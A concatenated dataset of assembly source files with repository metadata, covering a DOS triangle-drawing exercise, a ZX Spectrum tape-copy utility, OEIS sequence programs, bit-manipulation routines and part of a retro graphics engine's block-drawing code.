src/u1/p9.asm

luishendrix92/lenguajezinterfaz

05d7c0621f3eb99f0134ae100cb451543ff80afc

[ "MIT" ]

null

src/u1/p9.asm

luishendrix92/lenguajezinterfaz

05d7c0621f3eb99f0134ae100cb451543ff80afc

[ "MIT" ]

null

src/u1/p9.asm

luishendrix92/lenguajezinterfaz

05d7c0621f3eb99f0134ae100cb451543ff80afc

[ "MIT" ]

null

; 9 - Programa que dibuja un triángulo en pantalla ; López Garay Luis Felipe ; 15211312 ; 24 de Septiembre del 2018 .Model small .stack 64 .Data .Code mov ax,03h int 10h mov ah,02h mov dh,5 mov dl,39 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,6 mov dl,38 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,6 mov dl,40 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,7 mov dl,37 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,7 mov dl,41 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,8 mov dl,36 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,8 mov dl,42 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,9 mov dl,35 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,9 mov dl,43 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,10 mov dl,34 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,10 mov dl,44 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,11 mov dl,33 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,11 mov dl,45 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,12 mov dl,32 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,12 mov dl,46 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,13 mov dl,31 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,13 mov dl,47 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,14 mov dl,30 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,14 mov dl,48 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,29 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,30 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,31 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,32 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,33 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,34 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,35 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,36 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,37 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,38 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,39 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,40 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,41 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,42 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,43 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,44 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,45 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,46 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,47 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,48 int 10h mov dx,111 mov ah,02h int 21h mov ah,02h mov dh,15 mov dl,49 int 10h mov dx,111 mov ah,02h int 21h .Exit end

9.448549

50

0.59341

15046e0096e1f0755fe277827f63550d0d600a9c

296

asm

Assembly

swapping.asm

arfat01850/Assembly_Program

000b38c4139fe276eba2941190bfd4b51cfec02f

[ "MIT" ]

1

2019-04-18T22:44:47.000Z

swapping.asm

arfat01850/Assembly_Program

000b38c4139fe276eba2941190bfd4b51cfec02f

[ "MIT" ]

null

swapping.asm

arfat01850/Assembly_Program

000b38c4139fe276eba2941190bfd4b51cfec02f

[ "MIT" ]

null

.MODEL SMALL .STACK 100H .CODE MAIN PROC MOV BL,2 MOV BH,4 ADD BL,48 ADD BH,48 XCHG BL,BH ; BL=4 ; BH=2 MOV AH,2 MOV DL,BL INT 21H MOV DL,BH INT 21H MOV AH,4CH INT 21H MAIN ENDP END MAIN

11.84

15

0.445946

a67401022d4298e947db22d7f6ab262ec4f84a09

7,815

asm

Assembly

pirataMOD2021/pirata_fixed.asm

ruyrybeyro/pirate128

1bde3ab8cc5e2e9b746d7e74a2b71cbd8fb5ab87

[ "MIT" ]

1

2021-04-17T06:10:18.000Z

pirataMOD2021/pirata_fixed.asm

ruyrybeyro/pirate128

1bde3ab8cc5e2e9b746d7e74a2b71cbd8fb5ab87

[ "MIT" ]

null

pirataMOD2021/pirata_fixed.asm

ruyrybeyro/pirate128

1bde3ab8cc5e2e9b746d7e74a2b71cbd8fb5ab87

[ "MIT" ]

null

; PIRATA bugs fixed, code optimized and smaller ; Rui Ribeiro - 2021 ; ; https://github.com/ruyrybeyro/pirate128/blob/main/pirataMOD2021/PirataMOD2021.tap ; ; border cyan/red - insert tape to copy ; SPACE to end, jump to save ; ; border yellow - insert blank tape and press 1 ; (and some other keys, including space, ; see BIT0KEY) ; ; border green - 1 make another copy ; 2 start over ; ; ; FORMAT of tape block in memory from $4000 onwards ; ; BYTE 1 - LSB size of block ; BYTE 2 - MSB size of block ; BYTE 3 - flag identifying type of tape block ; -------- block of data ; if BYTE1 and BYTE2 = 0, no more blocks, otherwise another block follows ; 149 bytes = 141 bytes + 8 bytes for stack ; ROM CALL - alternate LD_BYTES entry point ; https://skoolkid.github.io/rom/asm/0556.html ; ; for not returning to SA_LD_RET at the end of load. ; Interrupts must be disabled ; ; A' - header block + Z=1 ; IX = start address ; DE = block length ; ; returns from LD_FLAG if different flag ; returns when SPACE pressed or end of data on tape ; ; Returns upon completion: ; ; DE = number of bytes loaded + 1 ; IX = IX + number of bytes loaded + 1 ; LD_BYTES2 EQU $0562 ; ROM CALL - LD_FLAG alternate entry point ; ; after loading headers and byte of flag ; ; if flag was different than 0 ; we need to reenter load routine ; ; returns when SPACE pressed or end of data on tape ; ; Returns upon completion: ; ; DE = number of bytes loaded + 1 ; IX = IX + number of bytes loaded + 1 ; LD_FLAG3 EQU $05B7 ; ROM CALL - SA-BYTES subroutine alternate entry ; https://skoolkid.github.io/rom/asm/04C2.html ; ; alternate entry, does not return using SA_LD_RET ; does not reenable interrupts ; ;A = flag, usually 00 header block, $FF data block ;DE = block length ;IX = start address ; SA_BYTES2 EQU $04C6 ; constants RAM_BEGIN EQU $4000 ; first byte of RAM (screen) MAX_SIZE EQU BEGIN - RAM_BEGIN - 5 ; ; entry point of PIRATA MC subroutine ; originally stored in a REM statement in BASIC ; in this MOD2021 stored inside A$ ; transfered to ORG ADDRESS via LDIR ; ; ORG 65387 ORG $FF6B ; ; =========================== ; Initialisation/setup ; =========================== ; START: DI ; Disabling interrupts ; only needed once LD SP,0 ; stack to end of RAM ; ; =========================== ; Block(s) loading ; =========================== ; ; load blocks from tape ; until SPACE pressed ; BEGIN: LD HL,RAM_BEGIN ; beggining of RAM L_NEXTBLK: PUSH HL INC HL ; size of block LSB INC HL ; size of block MSB XOR A ; header block LD (HL),A ; flag type of block INC HL LD DE,MAX_SIZE ; max number of bytes PUSH HL POP IX ; set carry flag for LOADing SCF ; setup for the ROM instructions we are skipping ; Z'=1, A'=code block flag (0) ; ; better be 0, because header blocks expect a shorter tone ; in the ROM LD_BYTES routine ; INC D EX AF,AF' DEC D LD A,$0F ; border white/MIC off OUT ($FE),A ; end of "ROM" code CALL LD_BYTES2 ; call $0562 - load block JR Z,END_BLOCK ; end of tape byte stream ; read keyboard port $7FFE ; select keyboard half row BNM Symbol SPACE LD A,$7F IN A,($FE) RR A JR NC,END_LOAD ; if bit 0 = 0 ; SPACE pressed, finish block(s) loading loop ; and jump to save ; if this block is executed is because ; the block flag is different than 0 ; though at the LD_BYTES routine point ; it is stored now in L (and not A) ; (L is used to store/put together the last loaded byte/bits ; at LD_BYTES 8-bit loading loop) LD (IX-01),L ; save flag block identifier byte in RAM ; after block size ; IX = first data byte XOR A ; Z=1 ; comparation failed if here ; we need to change Z flag ; as it is used ahead on ROM ; Z=1 flag already loaded, C=0 loading/not verifying CALL $LD_FLAG3 ; $05B7 - load entry after flag check. ; ; =========================== ; Loading block housekeeping ; =========================== ; ; Calculate loaded bytes, and store the length. ; Restore IX. ; Jump to load another block. ; ; subtract from max number of bytes / original length ; to get bytes loaded ; eg. original DE calling LD_BYTES vs new DE returning from LD_BYTES ; DE (length) = original DE - new DE - 1 END_BLOCK: LD HL,MAX_SIZE OR A ; carry =0 SBC HL,DE ; HL=bytes loaded LD D,H LD E,L ; DE=HL=bytes loaded(+checksum) DEC DE ; DE=bytes loaded POP HL ; POP IX before loading, beggining of block LD (HL),E ; (HL) = size (word) at beggining of block INC HL LD (HL),D PUSH IX POP HL ; HL=IX DEC HL ; loading leaves IX at IX+1, DEC it JR L_NEXTBLK ; next block ; ; =========================== ; Finished loading all blocks ; =========================== ; ; Execute this code after SPACE is pressed. ; ; (Next) block with size of word 0, means END. ; END_LOAD: POP HL ; POP IX before loading ; (latter IX) = 0 word, no more blocks XOR A LD (HL),A ; (latter IX) = LSB 0 word INC HL ; point to next byte LD (HL),A ; (latter IX) = MSB 0 word ; ; =========================== ; Waiting for user input ; =========================== ; ; Border yellow ; waits for a key for saving loaded blocks. ; LD A,06 ; border yellow OUT ($FE),A CALL DELAY ; wait for a pressed key ; works for not only for "1" ; but also SPACE, ENTER, P, 0, Q, A, Shift ; BIT0KEY: XOR A ; select all keyboard half-rows IN A,($FE) ; IN A,($00FE) RR A ; rotate 1 bit to the right JR C,BIT0KEY ; if bit 0=1 (no key pressed), try again ; ; ========================= ; Block(s) saving ; ========================= ; ; save all blocks ; with a delay of 0.9 seconds between them BEGIN_SBLOCK: LD HL,RAM_BEGIN ; first RAM address NEXT_SBLOCK: CALL DELAY LD E,(HL) ; LSB size of block INC HL LD D,(HL) ; MSB size of block ; DE = size of block kept on RAM LD A,E OR D JR Z,EXIT_SAVE ; size = 0, jump to EXIT_SAVE INC HL LD A,(HL) ; load flag INC HL PUSH HL POP IX ; IX is now pointing at data to be saved ; DE has length of data to be saved CALL SA_BYTES2 ; CALL $04C6 PUSH IX POP HL ; HL=IX DEC HL ; IX+1 returned from SA_BYTES needs to be corrected JR NEXT_SBLOCK ; save next block ; ; ========================= ; After Saving all blocks ; ========================= ; ; border green ; Reads keyboard: ; ; "1" - saves blocks again ; "2" - starts from scratch loading EXIT_SAVE: LD A,04 ; border green OUT ($FE),A ; read keyboard port $F7FE LD BC,$F7FE ; keyboard half row 1-5 WAIT_1_2: IN A,(C) BIT 1,A ; key "2" JR Z,BEGIN ; begin from scratch BIT 0,A ; key "1" JR Z,BEGIN_SBLOCK ; save again another copy JR WAIT_1_2 ; read keyboard port again ; ; ========================= ; Delay routine ; ========================= ; ; delay of aprox 0.9 seconds DELAY: LD BC,$FFFF DLOOP: DEC BC ; decrement BC $FFFF/65535 times LD A,B ; till BC=0 OR C JR NZ,DLOOP ; JR if BC not equal 0 RET ; 8 bytes at the end of RAM empty STACK: ;DEFS (8) END START

23.972393

88

0.56238

3eb5df334ad846ddc3a32900fea056732a797697

570

asm

Assembly

programs/oeis/211/A211538.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/211/A211538.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/211/A211538.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A211538: Number of ordered triples (w,x,y) with all terms in {1,...,n} and 2w=2n-2x-y. ; 0,0,0,1,3,5,9,12,18,22,30,35,45,51,63,70,84,92,108,117,135,145,165,176,198,210,234,247,273,287,315,330,360,376,408,425,459,477,513,532,570,590,630,651,693,715,759,782,828,852,900,925,975,1001,1053,1080,1134,1162,1218,1247,1305,1335,1395,1426,1488,1520,1584,1617,1683,1717,1785,1820,1890,1926,1998,2035,2109,2147,2223,2262,2340,2380,2460,2501,2583,2625,2709,2752,2838,2882,2970,3015,3105,3151,3243,3290,3384,3432,3528,3577 mov $1,$0 div $0,2 sub $0,1 add $0,$1 bin $0,2 div $0,3

57

423

0.719298

16b680cf1fd9e5622437f4486952540d206e7821

126

asm

Assembly

libsrc/_DEVELOPMENT/math/float/math32/lm32/z80/asm_derror_nannc.asm

jpoikela/z88dk

7108b2d7e3a98a77de99b30c9a7c9199da9c75cb

[ "ClArtistic" ]

640

2017-01-14T23:33:45.000Z

2022-03-30T11:28:42.000Z

libsrc/_DEVELOPMENT/math/float/math32/lm32/z80/asm_derror_nannc.asm

jpoikela/z88dk

7108b2d7e3a98a77de99b30c9a7c9199da9c75cb

[ "ClArtistic" ]

1,600

2017-01-15T16:12:02.000Z

2022-03-31T12:11:12.000Z

libsrc/_DEVELOPMENT/math/float/math32/lm32/z80/asm_derror_nannc.asm

jpoikela/z88dk

7108b2d7e3a98a77de99b30c9a7c9199da9c75cb

[ "ClArtistic" ]

215

2017-01-17T10:43:03.000Z

2022-03-23T17:25:02.000Z

SECTION code_clib SECTION code_fp_math32 PUBLIC derror_nannc EXTERN m32_derror_nannc defc derror_nannc = m32_derror_nannc

12.6

36

0.865079

b1e087084dd6d0d58fb38ebf5481077cf0cabe37

524

asm

Assembly

programs/oeis/072/A072988.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/072/A072988.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/072/A072988.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A072988: Coefficient of the highest power of q in the expansion of nu(0)=1, nu(1)=b and for n>=2, nu(n)=b*nu(n-1)+lambda*(n-1)_q*nu(n-2) with (b,lambda)=(3,1), where (n)_q=(1+q+...+q^(n-1)) and q is a root of unity. ; 1,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3,10,3 mov $1,5 mov $2,$0 lpb $2 mov $1,$2 gcd $1,2 mul $1,7 mov $2,0 lpe sub $1,4 mov $0,$1

37.428571

217

0.587786

b79ea49930accba554ea9823df7d6597d520207d

85

asm

Assembly

codes/low-level/ch05/rep.asm

zhoujiagen/learning-system-programming

2a18e9f8558433708837ba4bd0fae5d7c11bf110

[ "MIT" ]

null

codes/low-level/ch05/rep.asm

zhoujiagen/learning-system-programming

2a18e9f8558433708837ba4bd0fae5d7c11bf110

[ "MIT" ]

null

codes/low-level/ch05/rep.asm

zhoujiagen/learning-system-programming

2a18e9f8558433708837ba4bd0fae5d7c11bf110

[ "MIT" ]

null

%assign x 1 %assign a 0 %rep 10 %assign a x + a %assign x x + 1 %endrep result: dq a

10.625

15

0.635294

d3db6a9a63324fde68ebae422087614ada1f37e2

1,099

asm

Assembly

programs/oeis/187/A187272.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

null

programs/oeis/187/A187272.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

null

programs/oeis/187/A187272.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

null

; A187272: a(n) = (n/4)*2^(n/2)*((1+sqrt(2))^2 + (-1)^n*(1-sqrt(2))^2). ; 0,2,6,12,24,40,72,112,192,288,480,704,1152,1664,2688,3840,6144,8704,13824,19456,30720,43008,67584,94208,147456,204800,319488,442368,688128,950272,1474560,2031616,3145728,4325376,6684672,9175040,14155776,19398656,29884416,40894464,62914560,85983232,132120576,180355072,276824064,377487360,578813952,788529152,1207959552,1644167168,2516582400,3422552064,5234491392,7113539584,10871635968,14763950080,22548578304,30601641984,46707769344,63350767616,96636764160,130996502528,199715979264,270582939648,412316860416,558345748480,850403524608,1151051235328,1752346656768,2370821947392,3607772528640,4879082848256,7421703487488,10033043603456,15255723835392,20615843020800,31336081391616,42331197669376,64321430224896,86861418594304,131941395333120,178120883699712,270479860432896,365037860421632,554153860399104,747667906887680,1134695999864832,1530520185864192,2322168557862912,3131409115906048,4749890231992320,6403555720167424 mov $1,$0 mul $1,2 mov $2,$0 lpb $2,1 add $1,$3 mov $3,$0 mov $0,$1 sub $0,$3 sub $2,1 lpe

78.5

924

0.827116

354dc26b97c0ca7214e26ad179d1cfbfaf8adecb

911

asm

Assembly

untested/x64/arrayBitManip.asm

GabrielRavier/Generic-Assembly-Samples

fbf803960a14307b7fce0165058d0d4048abaf42

[ "Unlicense" ]

null

untested/x64/arrayBitManip.asm

GabrielRavier/Generic-Assembly-Samples

fbf803960a14307b7fce0165058d0d4048abaf42

[ "Unlicense" ]

null

untested/x64/arrayBitManip.asm

GabrielRavier/Generic-Assembly-Samples

fbf803960a14307b7fce0165058d0d4048abaf42

[ "Unlicense" ]

null

global _setBit global _clearBit global _getBit segment .text align=16 _setBit: mov rdx, rsi mov ecx, esi mov eax, 1 shr rdx, 3 and ecx, 7 sal eax, cl or byte [rdi + rdx], al ret align 16 _setBitBMI2: mov rdx, rsi mov eax, 1 and esi, 7 shr rdx, 3 shlx esi, eax, esi or byte [rdi + rdx], sil ret align 16 _clearBit: mov ecx, esi mov rdx, rsi mov eax, 1 and ecx, 7 shr rdx, 3 sal eax, cl not eax or byte [rdi + rdx], al ret align 16 _clearBitBMI2: mov rdx, rsi mov eax, 1 and esi, 7 shr rdx, 3 shlx esi, eax, esi not esi and byte [rdi + rdx], sil ret align 16 _getBit: mov rax, rsi mov ecx, esi shr rax, 3 and ecx, 7 movzx eax, byte [rsi + rax] sar eax, cl and eax, 1 ret align 16 _getBitBMI2: mov rax, rsi and esi, 7 shr rax, 3 movzx edx, byte [rdi + rax] sarx eax, edx, esi and eax, 1 ret

9.20202

28

0.600439

84e817e2ee1f66fbbd74f2458a2f5a5f546eb3a8

32,403

asm

Assembly

engine/graphics-blockdraw-6309.asm

richard42/dynosprite

0b83f640a63656087653266baa2ec2499a39538d

[ "BSD-2-Clause" ]

10

2015-04-16T20:48:06.000Z

2021-09-07T02:08:30.000Z

engine/graphics-blockdraw-6309.asm

jamieleecho/space-bandits

b0f45c4d6e8a2bbf8d1653b7b3c10059fa9ff13d

[ "BSD-2-Clause" ]

1

2016-12-04T23:18:42.000Z

2016-12-05T01:17:49.000Z

engine/graphics-blockdraw-6309.asm

jamieleecho/space-bandits

b0f45c4d6e8a2bbf8d1653b7b3c10059fa9ff13d

[ "BSD-2-Clause" ]

8

2015-01-04T17:05:42.000Z

2021-01-31T01:46:13.000Z

********************************************************************************* * DynoSprite - graphics-blockdraw-6309.asm * Copyright (c) 2013-2014, Richard Goedeken * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ********************************************************************************* *********************************************************** * Gfx_DrawBlockRows: * * - IN: A = Rows to draw, X = pointer to 128 bytes of texture data for block * - OUT: Y = pointer to destination image data (256-byte rows) * - Trashed: A,B,X,Y,U,DP *********************************************************** * DBR_Funcs@ fdb Draw1Row fdb Draw2Rows fdb Draw3Rows fdb Draw4Rows fdb Draw5Rows fdb Draw6Rows fdb Draw7Rows fdb Draw8Rows fdb Draw4PlusRows_Local fdb Draw4PlusRows_Local fdb Draw4PlusRows_Local fdb Draw4PlusRows_Local fdb Draw4PlusRows_Local fdb Draw4PlusRows_Local fdb Draw4PlusRows_Local fdb Draw16Rows * Gfx_DrawBlockRows ldu #DBR_Funcs@-2 * 3 lsla * 2 jmp [a,u] * 7 Draw1Row * (56) ldq ,x * 8 stq ,y * 8 stq $3FFF,y * 11 ldq 4,x * 9 stq 4,y * 9 stq $4003,y * 11 rts Draw2Rows * 121 (60.5/row) leau $3fff,y * 7 * ldq ,x * 8 row 0 (51) stq ,y * 8 stq ,u * 8 ldq 4,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 1 (63) addr d,y * 4 addr d,u * 4 ldq 8,x * 9 stq ,y * 8 stq ,u * 8 ldq 12,x * 9 stq 4,y * 9 stq 4,u * 9 rts Draw3Rows * 184 (61.3/row) leau $3fff,y * 7 * ldq ,x * 8 row 0 (51) stq ,y * 8 stq ,u * 8 ldq 4,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 1 (63) addr d,y * 4 addr d,u * 4 ldq 8,x * 9 stq ,y * 8 stq ,u * 8 ldq 12,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 2 (63) addr d,y * 4 addr d,u * 4 ldq 16,x * 9 stq ,y * 8 stq ,u * 8 ldq 20,x * 9 stq 4,y * 9 stq 4,u * 9 rts Draw4Rows * 247 (61.8/row) leau $3fff,y * 7 * ldq ,x * 8 row 0 (51) stq ,y * 8 stq ,u * 8 ldq 4,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 1 (63) addr d,y * 4 addr d,u * 4 ldq 8,x * 9 stq ,y * 8 stq ,u * 8 ldq 12,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 2 (63) addr d,y * 4 addr d,u * 4 ldq 16,x * 9 stq ,y * 8 stq ,u * 8 ldq 20,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 3 (63) addr d,y * 4 addr d,u * 4 ldq 24,x * 9 stq ,y * 8 stq ,u * 8 ldq 28,x * 9 stq 4,y * 9 stq 4,u * 9 rts Draw5Rows * 310 (62/row) leau $3fff,y * 7 * ldq ,x * 8 row 0 (51) stq ,y * 8 stq ,u * 8 ldq 4,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 1 (63) addr d,y * 4 addr d,u * 4 ldq 8,x * 9 stq ,y * 8 stq ,u * 8 ldq 12,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 2 (63) addr d,y * 4 addr d,u * 4 ldq 16,x * 9 stq ,y * 8 stq ,u * 8 ldq 20,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 3 (63) addr d,y * 4 addr d,u * 4 ldq 24,x * 9 stq ,y * 8 stq ,u * 8 ldq 28,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 4 (63) addr d,y * 4 addr d,u * 4 ldq 32,x * 9 stq ,y * 8 stq ,u * 8 ldq 36,x * 9 stq 4,y * 9 stq 4,u * 9 rts Draw6Rows * 373 (62.2/row) leau $3fff,y * 7 * ldq ,x * 8 row 0 (51) stq ,y * 8 stq ,u * 8 ldq 4,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 1 (63) addr d,y * 4 addr d,u * 4 ldq 8,x * 9 stq ,y * 8 stq ,u * 8 ldq 12,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 2 (63) addr d,y * 4 addr d,u * 4 ldq 16,x * 9 stq ,y * 8 stq ,u * 8 ldq 20,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 3 (63) addr d,y * 4 addr d,u * 4 ldq 24,x * 9 stq ,y * 8 stq ,u * 8 ldq 28,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 4 (63) addr d,y * 4 addr d,u * 4 ldq 32,x * 9 stq ,y * 8 stq ,u * 8 ldq 36,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 5 (63) addr d,y * 4 addr d,u * 4 ldq 40,x * 9 stq ,y * 8 stq ,u * 8 ldq 44,x * 9 stq 4,y * 9 stq 4,u * 9 rts Draw7Rows * 436 (62.3/row) leau $3fff,y * 7 * ldq ,x * 8 row 0 (51) stq ,y * 8 stq ,u * 8 ldq 4,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 1 (63) addr d,y * 4 addr d,u * 4 ldq 8,x * 9 stq ,y * 8 stq ,u * 8 ldq 12,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 2 (63) addr d,y * 4 addr d,u * 4 ldq 16,x * 9 stq ,y * 8 stq ,u * 8 ldq 20,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 3 (63) addr d,y * 4 addr d,u * 4 ldq 24,x * 9 stq ,y * 8 stq ,u * 8 ldq 28,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 4 (63) addr d,y * 4 addr d,u * 4 ldq 32,x * 9 stq ,y * 8 stq ,u * 8 ldq 36,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 5 (63) addr d,y * 4 addr d,u * 4 ldq 40,x * 9 stq ,y * 8 stq ,u * 8 ldq 44,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 6 (63) addr d,y * 4 addr d,u * 4 ldq 48,x * 9 stq ,y * 8 stq ,u * 8 ldq 52,x * 9 stq 4,y * 9 stq 4,u * 9 rts Draw8Rows * 499 (62.4/row) leau $3fff,y * 7 * ldq ,x * 8 row 0 (51) stq ,y * 8 stq ,u * 8 ldq 4,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 1 (63) addr d,y * 4 addr d,u * 4 ldq 8,x * 9 stq ,y * 8 stq ,u * 8 ldq 12,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 2 (63) addr d,y * 4 addr d,u * 4 ldq 16,x * 9 stq ,y * 8 stq ,u * 8 ldq 20,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 3 (63) addr d,y * 4 addr d,u * 4 ldq 24,x * 9 stq ,y * 8 stq ,u * 8 ldq 28,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 4 (63) addr d,y * 4 addr d,u * 4 ldq 32,x * 9 stq ,y * 8 stq ,u * 8 ldq 36,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 5 (63) addr d,y * 4 addr d,u * 4 ldq 40,x * 9 stq ,y * 8 stq ,u * 8 ldq 44,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 6 (63) addr d,y * 4 addr d,u * 4 ldq 48,x * 9 stq ,y * 8 stq ,u * 8 ldq 52,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 7 (63) addr d,y * 4 addr d,u * 4 ldq 56,x * 9 stq ,y * 8 stq ,u * 8 ldq 60,x * 9 stq 4,y * 9 stq 4,u * 9 rts Draw4PlusRows_Local lsra Draw4PlusRows sta lda_RowCounter@+1 leau $3fff,y * 7 * Draw4Loop@ * ldq ,x * 8 row 0 (51) stq ,y * 8 stq ,u * 8 ldq 4,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 1 (63) addr d,y * 4 addr d,u * 4 ldq 8,x * 9 stq ,y * 8 stq ,u * 8 ldq 12,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 2 (63) addr d,y * 4 addr d,u * 4 ldq 16,x * 9 stq ,y * 8 stq ,u * 8 ldq 20,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 3 (79) addr d,y * 4 addr d,u * 4 ldq 24,x * 9 stq ,y * 8 stq 